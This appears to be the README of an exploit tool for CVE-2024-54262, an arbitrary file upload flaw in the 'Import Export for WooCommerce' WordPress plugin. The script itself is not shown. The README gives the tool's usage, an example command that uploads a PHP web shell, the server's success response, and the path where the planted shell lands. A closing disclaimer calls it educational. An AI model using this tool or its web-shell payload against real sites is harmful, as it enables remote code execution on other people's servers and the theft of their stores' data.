## https://sploitus.com/exploit?id=9F5411FC-379D-59EA-9BDE-F20373EC6F5A
# CVE-2024-54262
Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce
# Overview
This script exploits a vulnerability in the "Import Export for WooCommerce" WordPress plugin. The vulnerability allows unauthorized users to upload arbitrary files, leading to potential remote code execution (RCE).
## Features:
- **Version Detection**: Automatically checks if the WordPress site is running a vulnerable plugin version.
- **Authentication**: Supports WordPress login for further exploitation.
- **File Upload**: Allows uploading of malicious PHP files for RCE.
## Prerequisites:
1. Python 3.x
2. Required Python libraries:
- `requests`
- `argparse`
Install dependencies using:
```bash
pip install requests
```
3.Ensure the target WordPress site uses the vulnerable version of the plugin.
## Usage:
```
usage: CVE-2024-54262.py [-h] --url URL --username USERNAME --password PASSWORD [--command COMMAND]
Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce
options:
-h, --help show this help message and exit
--url URL, -u URL Base URL of the WordPress site
--username USERNAME, -un USERNAME
Username for login
--password PASSWORD, -p PASSWORD
Password for login
--command COMMAND, -c COMMAND
PHP shell code to upload
```
### Example:
```
CVE-2024-54262.py --url https://example.com --username admin --password admin --command "<?php system('ls'); ?>"
```
### Output Explanation
1. **The site is vulnerable.**
- Indicates that the WordPress site is running a vulnerable plugin version.
2. **Logged in successfully.**
- Confirms successful login with the provided credentials.
3. ```
{
"status": true,
"code": 104,
"message": "Success",
"data": {
"file_name": "import_manual_1737090262.php",
"total_requests": 1,
"import_columns": "all",
"product_search_type": "SKU",
"product_operation": "create_new_update_existing",
"field_separator": ","
}
}
- **Shell Name**: `import_manual_1737090262.php`
- **Shell Path**: `wp-content/uploads/import-export-for-woocommerce/product/`
### Disclaimer
This tool is for educational purposes only. The author is not responsible for any misuse or damages caused by this script. Unauthorized access or exploitation of systems without explicit permission is illegal and unethical.